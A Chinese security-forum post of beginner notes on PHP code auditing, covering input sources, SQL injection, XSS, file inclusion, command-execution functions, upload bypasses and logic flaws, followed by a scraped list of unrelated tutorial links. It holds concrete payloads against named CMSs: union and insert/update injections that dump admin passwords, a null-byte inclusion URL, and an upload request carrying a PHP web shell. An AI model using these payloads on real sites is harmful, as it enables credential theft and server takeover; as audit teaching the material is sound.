出处: 九零SEC
连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059

----------------------------------------------------------
team:xdsec&90sec
author:wilson
blog:http://blog.wils0n.cn/
文章链接:wilson's blog_php代码审计基础笔记[求人气~~]
-------------------------------------------------------------
0x01 前言

这阵子在学php代码审计,算是一个笔记。留着以后看。
php代码审计需要比较强的代码能力以及足够的耐心.....
至于如何学好php代码审计?去膜拜p神吧....
看着p神的文章,学审计......  许多东西都是复制p神~
文章写给像我一样刚刚开始审计的小菜鸟~,有错欢迎指出~
求勿喷...........继续学审计中........
+++++++++++++++++++++++++++++++++++++++++++++
0x02 审计前奏
一)关注变量+函数
1.可以控制的变量【一切输入都是有害的 】
2.变量到达有利用价值的函数[危险函数] 【一切进入函数的变量是有害的】
                                                                    ------来源t00ls
客户端提交变量:
$_GET:http://localhost/mm.php?a=xxxxx
$_POST:
$_COOKIE:
    记录在我们本地浏览器中的变量,是可控的。PHP中还有一个变量$_SESSION。
    每个人访问网站,他的phpsessid都是不一样的,这个值就用来区分每个用户。服务器用PHPSESSID=cmebf7jkflu5a31vf67kbiopk4来标示每个用户,是否登录或者是否是管理员。
$_FILES:
    可能产生的漏洞类型:
    01.上传漏洞,上传一个php木马,相当于直接getshell了
    02.注入,有些cms会把name的值保存在数据库里,但又没有对name进行过滤
$_SERVER:其中部分我们可以控制。
    X-FORWARDED-FOR:IP地址,很多cms取ip是首先取这个变量中的值,如果
    没有这个变量,才去取我们的真实Ip.
    Referer:来源地址,我们访问目标页面的来源
    Host:目标网址这几个变量就是我们php中间用户可以控制的变量。
    大部分的漏洞都是 从这几个变量开始展开的。
$_REQUEST 就是$GET/$_POST/$COOKIE
要是使用了xxx框架的话,如何找到这些变量呢?
Mvc框架比较流行了
所以我去了解了一下thinkphp的mvc框架[http://blog.wils0n.cn/?id=14]
--------------------------------------------------------------------
二)关注什么样的漏洞
1.Sql注入
2.文件操作[上传/写入/读取/删除]
3.文件包含
4.命令执行
5.Xss
6.Cookie欺骗
7.逻辑出错
........等等
每种漏洞有对应找漏洞的方法,往往先找getshell的方法[1,2,3,4这三中漏洞是常见的getshell方法我们要多多关注这个]而逻辑出错也是很要命的。。。。 - -
所以我们要认识清楚漏洞原理,积累cms常出漏洞,积累找这种漏洞的技巧.....
--------------------------------------------------------------------


三)本地搭建环境测试
1.黑盒加白盒
不得不说黑盒的重要性!
Burp常开对你只要没有坏处!



2.大体看看文件的目录



3.cms安装到本地,大概了解功能,比如有注册会员功能的cms,我就注册一个会员,比如有搜索框,我就会搜索一下,大概查看一下搜索出来的内容,[恩 因为字符型都进行了转换 @ _@ 所以搜索型的很重要,有哪些数据提交点、能否留言等等] 摘自p神



技巧:最好可见在本地测试时候讲你的输入点打印出来
我会将用户的输入数据进行var_dump,重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]。
我审计了一个cms就是这样的,结果黑盒就发现登入处有注入,真的去审计还花了不少力气去读源码,并且学会了一个thinkphp的执行sql特点.
+++++++++++++++++++++++++++++++++++++++++++++++++++++
四)审计各种不同漏洞技巧
1.Sql注入审计技巧


sql注入是我们审计比较重视的漏洞之一

0x01 漏洞原理

所以现在很多cms都对注入进行了一定的过滤,一般有两种过滤方法:
01.对于数字型的输入,直接使用intval($_GET[id]),强制转换成整数,这种过滤是毫无办法的。
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
要是没有intval($_GET[id]) 那就呵呵了。//有一个屌丝cms就是这样......
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些输入是字符型的,不可能转换成数字。这个使用就使用addslashes对输入进行转义。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#

--------------------------------
0x02 漏洞发生

要是过滤不是上面这几中,而是黑名单,或者你欠日什么都没有过滤的话,那么很多情况下是可以注入的。所以cms随着漏洞的爆出,慢慢的这样的情况几乎都没有了

那么问题来了,在上面这种情况漏洞怎么出现?[蓝翔.....]

漏洞(一)ip没过滤直接进到sql语句
函数讲解:
getenv : 这个函数是获得环境变量的函数,也可以用来获得$_SERVER数组的信息。
getenv('HTTP_X_FORWARDED_FOR') --> $_SERVER[HTTP_X_FORWARDED_FOR]
当然http头还有referer 这也是可以伪装的,要是没有过滤好也会产生会注入问题
漏洞(二)宽字节注入 [对字符]
如果发现 cms是GBK 只有看看 能不能宽字节注入
Sqlmap 的unmagicquotes.py 可以进行宽字测试
下面摘自p神写的:浅析白盒审计中的字符编码及SQL注射.pdf
解决宽字节注入办法:

mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
到这里就一般高枕无忧了.....
但是 要是画蛇添足得使用iconv就可能出现问题了
有些cms:
会加上下面语句避免乱码
iconv('utf-8', 'gbk', $_GET['word']);
将传入的word有utf-8转成gbk.....
发现錦的utf-8 编码是0xe98ca6,而的gbk 编码是0xe55c
我们输入錦' -->%e5%5c%27【%5c就是\】
在经过转移------>%e5%5c%5c%27【5c%5c就是\\】这样我们就有可以开心的注入了....
漏洞(三)sql二次注入
例如:p神的HDWiki二次注入
漏洞(四)文件名注入
因为$_FILE,$_SERVER不受gpc影响,那么可能造成注入.......
有些cms会把name的值保存在数据库里,但又没有对name进行过滤。
例如:p神的emlog后台注入(需要作者权限即可)
还有Thinksaas最新版注入无视GPC

--------------------------------
0x03 注入类型

1.Selcet 注入 这个常见就不说了
一般就是联查,要是报错开启也可以报错注入
2.Update 注入
p神做了一个教程关于bluecms这cms漏洞:
Get_ip() 直接用了X-FORWARDED-FOR
$sql = "UPDATE blue_user SET last_login_time = '$last_login_time', last_login_ip = '可控位置' WHERE user_id='$_SESSION[user_id]'";
UPDATE
blue_user SET last_login_time = '1394368489', last_login_ip =
'8.8.8.8',address=(select concat(admin_name,0x23,email,0x23,pwd) from
blue_admin limit 0,1), qq=' ' WHERE user_id='2'
//addrress是前台可见的,而且长度够大
//p神说.....
碰到update语句中含有注入的情况,我们怎么处理?
01.跟我刚才一样,把某个可以看到的信息给更新成管理员密码,这样就获得了密码
02.
报错注入,使用某一特定的报错语句,让sql语句在执行中出错,能爆出管理员账号密码。但是有个条件,就是在执行sql语句的时候调用了
mysql_error函数,否则不会显示报错信息。比如bluecms就没有调用mysql_error,所以不能使用这个方法。
3.Insert 注入
引用了音符牛的一个文章
音符的XD某套系统的代码审计第二弹:insert注入
//字符串完全没过滤,gpc为关闭
function guest_add()//添加留言
{
global $bqz,$lang;
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')";
mysql_query($exec)||die(mysqli_error());
echo "<script>alert('".$lang."');window.location.href='http://bbs.xdsec.org/?/guest.php';</script>";
}
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')";
//没有过滤就将数据放入guest表中,guest表的内容前台可见。
payload:标题123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xxx_admin limit 0,1),'1314205172')#
其他的随便填。
则执行:
insert into xdxx_guest (title,name,email,ip,content,times) values ('123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xdxx_admin limit 0,1),'1314205172')#','time()')
因为前台可以看到的只有name跟content,而name要用来闭合前面的单引号,所以用content字段来保存管理员的账号密码。
0x04技巧
技巧:最好可见在本地测试时候讲你的输入点打印出来
我会将用户的输入数据进行var_dump
重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]
so,还是这技巧点

=====================================================

2.xss审计技巧
Xss最常见就在留言板地方了!
1.先可以黑盒:
我们可以对fuzz,加载你的xss,payload都试试。[可以积累你的xsspayload]
然后去管理后台看看。有没有执行xss成功
学习xss:
心伤的瘦子专辑.......
2.看代码看看如何过滤了,再看看能不能绕过。
这就要靠你的本领了
但是现在可多就都过滤了
用了htmlspecialchars进行过滤, = =
一个tip:
不少cms会对留言者的ip进行记录。
而他们用一个具有漏洞的函数,
/**
*
获取客户端
IP
地址
*/
public static function getip() {
$onlineip = '';
if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$onlineip = getenv('REMOTE_ADDR');
} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
return $onlineip;
  
}
当HTTP_X_FORWARDED_FOR存在时获取的IP就是它,但是HTTP_X_FORWARDED_FOR是可以伪造的
但是存ip的字段,有是比较小的。我们去看看p神如何绕过
我只能说,吊死了  = =
请收下我的膝盖......
3.Xss利用
现在应该大多都是x管理员的cookie吧。
再次膜拜一下p神的审计能力,xss的作用可以getshell的
我们可以利用js来发送post包,利用管理员权限去得到getshell

$.ajax({ "url": "网址", "type": "POST","data":"POST的内容" })

我也是刚刚知道这个知识 搞定一个cms.......
=====================================================
3.文件包含漏洞审计技巧
文件包含漏洞
看音符大牛的文章
1.截断技巧
%00和230个/
2.远程包含
allow_url_fopen = On并且allow_url_include = On时,则可以包含远程文件
3.一个出问题的cms
Yxcms给音符牛日穿了
payload:http://test.com/cms//YXcmsApp1.2.3/index.php?r=..\..\upload\member\image\20140504\thumb_1399213415.jpg%00
=====================================================

4.命令执行审计技巧

没有什么技巧
0x01 搜索可以执行php代码的函数
Eval,assert....
0x02 搜索可以执行系统命令的函数
system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反单引号</strong>)....
=====================================================
5.文件操作审计技巧
    5.1 .两个小知识,一个tip
    1.
        $_FILES["file"]["name"] - 被上传文件的名称
        $_FILES["file"]["type"] - 被上传文件的类型
        $_FILES["file"]["size"] - 被上传文件的大小,以字节计
        $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
        $_FILES["file"]["error"] - 由文件上传导致的错误代码
    2.
        文件上传的过程:
        01.用户选择文件,点击上传
        02.服务器接收到文件,然后将文件保存在临时目录内
        03.php对文件类型、后缀等内容检查,检查通过后移动到web目录下
    tip:
    将var_dump($FILE[]);
    然后试试黑盒审计吧
    注意一点 如果文件名进入数据库也有可能造成注入的。
    因为$_FILE不受gpc影响[之前也提过了]

--------------

5.2文件上传漏洞    来自[+]上传攻击总结.pdf[这极好的文章]

    1.javascript上传检测
    ....直接无视
    用burp改一下就好了
    2.mime上传文件类型
    例如:BlueCMS(地方分类信息门户专用CMS系统)
    include/upload.class.php发现,只是检测了文件头,没有检测后缀.
class upload {
private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg');
......
function img_upload($file, $dir = '', $imgname = ''){
if(empty($dir)){
$dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
}else{
$dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
} if(!file_exists($dir)){
if(!mkdir($dir)){
showmsg('上传过程中创建目录失败');
}
}
if(empty($imgname)){
$imgname = $this->create_tempname().$this->get_type($file['name']);
}
$imgname = $dir . $imgname;
if(!in_array($file['type'],$this->allow_image_type)){
//只是检测了文件头部来着,那我们就直接构造一个SHELL就好了
showmsg('不允许的图片类型');
}
}

Payload:
            然后我们可以将request 包的Content-Type 修改
            POST /upload.php HTTP/1.1
            TE: deflate,gzip;q=0.3
            Connection: TE, close
            Host: localhost
            User-Agent: libwww-perl/5.803
            Content-Type: multipart/form-data; boundary=xYzZY
            Content-Length: 155
            --xYzZY
            Content-Disposition: form-data; name="userfile"; filename="shell.php"
            Content-Type: image/gif (原为Content-Type: text/plain)//$_FILES["file"]["type"]
            <?php system($_GET['command']);?>
            --xYzZY--

3.服务器检测绕过(目录路径检测)
            Filename 可以控制,直接进行%00截断看看能不能搞定

4.文件名检测
            下面就是去检测:$_FILES["file"]["name"]
            再次注意:如果文件名进入数据库也有可能造成注入的。

            1)黑名单上传
            各种测试 这里我们看代码就可以了。
            我们可以看看能不能
            1.大小写绕过
            2.黑名单外的危险脚本[htaccess 文件攻击]
            3.解析漏洞结合
            4.利用windows特性绕过
            雨牛的文章: https://forum.90sec.org/forum.php?mod=viewthread&tid=7806
            phpdisk使用了黑名单
            可以用加空格来绕过
            另外大牛又给出了
            提交.php::$data 这样就不会匹配到黑名单中了。 这种想法,感觉自己有学习了....
            2)白名单上传
            1. 0x00 截断绕过
            用像test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑
            漏洞进行攻击,目前我只遇到过asp 的程序有这种漏洞
            2. 解析调用/漏洞绕过
            这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞

5.文件上传逻辑漏洞
            http://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html
            不得不又一次膜拜p神......
            文件上传,支持zip上传,但是这个phpcms没有对子目录下的文件,进行验证。导致getshell
            而且有了一个竞争上传的概念。。。。
            文件是先在服务器存在了,然后再验证文件名的可靠性。不合法就删除。那就出现问题了,在存在时候,我们可以一整去访问这个php,而这个php的功能就是写马。这样就可以成功getshell了。。。。

5.4.文件下载
        求补充
5.3 文件写入。文件删除
        求补充
=====================================================
6.逻辑出错审计技巧
很多程序有逻辑出错的情况.....
1.程序没有及时结束[die]
Ducms就是/install/install.php
没有及时结束
给p神 利用一个外链的mysql 绕过限制 加入一个admin账户。。。
还有一个直接写入配置文件的StartBBS重安装getshell也是因为这个原因
除了安装可能出现这种情况
Admin目录下也可能这样
判定不是admin就跳转,但是php代码是继续执行没有及时结束的
2.admin登入口检查有问题
认证太奇葩...
3.找回密码可能出现漏洞
4.验证码重用,造成爆破
漏洞类型还要很多.....

php代码审计基础笔记的更多相关文章

  1. Java基础笔记 – Annotation注解的介绍和使用 自定义注解

    Java基础笔记 – Annotation注解的介绍和使用 自定义注解 本文由arthinking发表于5年前 | Java基础 | 评论数 7 |  被围观 25,969 views+ 1.Anno ...

  2. MYSQL基础笔记(六)- 数据类型一

    数据类型(列类型) 所谓数据烈性,就是对数据进行统一的分类.从系统角度出发时为了能够使用统一的方式进行管理,更好的利用有限的空间. SQL中讲数据类型分成三大类:1.数值类型,2.字符串类型和时间日期 ...

  3. MYSQL基础笔记(五)- 练习作业:站点统计练习

    作业:站点统计 1.将用户的访问信息记录到文件中,独占一行,记录IP地址 <?php //站点统计 header('Content-type:text/html;charset=utf-8'); ...

  4. MYSQL基础笔记(四)-数据基本操作

    数据操作 新增数据:两种方案. 1.方案一,给全表字段插入数据,不需要指定字段列表,要求数据的值出现的顺序必须与表中设计的字段出现的顺序一致.凡是非数值数据,到需要使用引号(建议使用单引号)包裹. i ...

  5. MYSQL基础笔记(三)-表操作基础

    数据表的操作 表与字段是密不可分的. 新增数据表 Create table [if not exists] 表名( 字段名 数据类型, 字段名 数据类型, 字段n 数据类型 --最后一行不需要加逗号 ...

  6. MYSQL基础笔记(二)-SQL基本操作

    SQL基本操作 基本操作:CRUD,增删改查 将SQL的基本操作根据操作对象进行分类: 1.库操作 2.表操作 3.数据操作 库操作: 对数据库的增删改查 新增数据库: 基本语法: Create da ...

  7. MYSQL基础笔记(一)

    关系型数据库概念: 1.什么是关系型数据库? 关系型数据库:是一种建立在关系模型(数学模型)上的数据库 关系模型:一种所谓建立在关系上的模型. 关系模型包含三个方面: 1.数据结构:数据存储的问题,二 ...

  8. JavaScript基础笔记二

    一.函数返回值1.什么是函数返回值    函数的执行结果2. 可以没有return // 没有return或者return后面为空则会返回undefined3.一个函数应该只返回一种类型的值 二.可变 ...

  9. JavaScript基础笔记一

    一.真假判断 真的:true.非零数字.非空字符串.非空对象 假的:false.数字零.空字符串.空对象.undefined 例: if(0){ alert(1) }else{ alert(2) } ...

随机推荐

  1. debian下mysql主从配置

    1.确保master/slave只有一份/etc/mysql/my.cnf , 不要在其他地方再有my.cnf (如/etc/my.cnf  /usr/local之类) 2.master配置: 在[m ...

  2. cocos2dx阴影层的实现

    效果图 //ShadowLayer.h class ShadowLayer : public CCLayer { protected: ShadowLayer() :m_pRender(NULL) , ...

  3. 【python】lxml-The E-factory

    来自:http://lxml.de/tutorial.html lxml中的E-factory可以用个简单快速的生成XML和HTML >>> from lxml.builder im ...

  4. July 12th, Week 29th Tuesday, 2016

    When the traveler goes alone he gets acquainted with himself. 独自旅行可以让人更好地了解自己. With other's company, ...

  5. javascript类的类比详解-大白话版

    转载请注明出处:水车 如果有误,还望指出,谢谢 -----------------正文分割线---------------------- 类:类太抽象,要想弄明白就该用现实的东西来类比 在我看来类就是 ...

  6. nodeJS文件路径总结

    文件夹目录F:* test1* tes2* test3* test4* a.html*//例句fs.readFile('../../../a.html', function (err, html) { ...

  7. Dijkstra最短路算法

    Dijkstra最短路算法 --转自啊哈磊[坐在马桶上看算法]算法7:Dijkstra最短路算法 上节我们介绍了神奇的只有五行的Floyd最短路算法,它可以方便的求得任意两点的最短路径,这称为“多源最 ...

  8. LINUX下安装TeamViewer

    https://www.teamviewer.com/zhcn/download/linux/ [root@ok teamviewer]# yum install -y teamviewer_11.0 ...

  9. kindEditort图片自动上传

    参考:http://www.cnblogs.com/jaxu/p/3824583.html (赞一个)

  10. 分布式缓存 memcache学习

    1.使用分布式缓存是为了解决多台机器共享信息的问题,通过访问一个ip和端口来可以访问不同的IIS服务器 2.memcache基础原理 在Socket服务器端存储数据是以键值对的形式存储 内存处理的算法 ...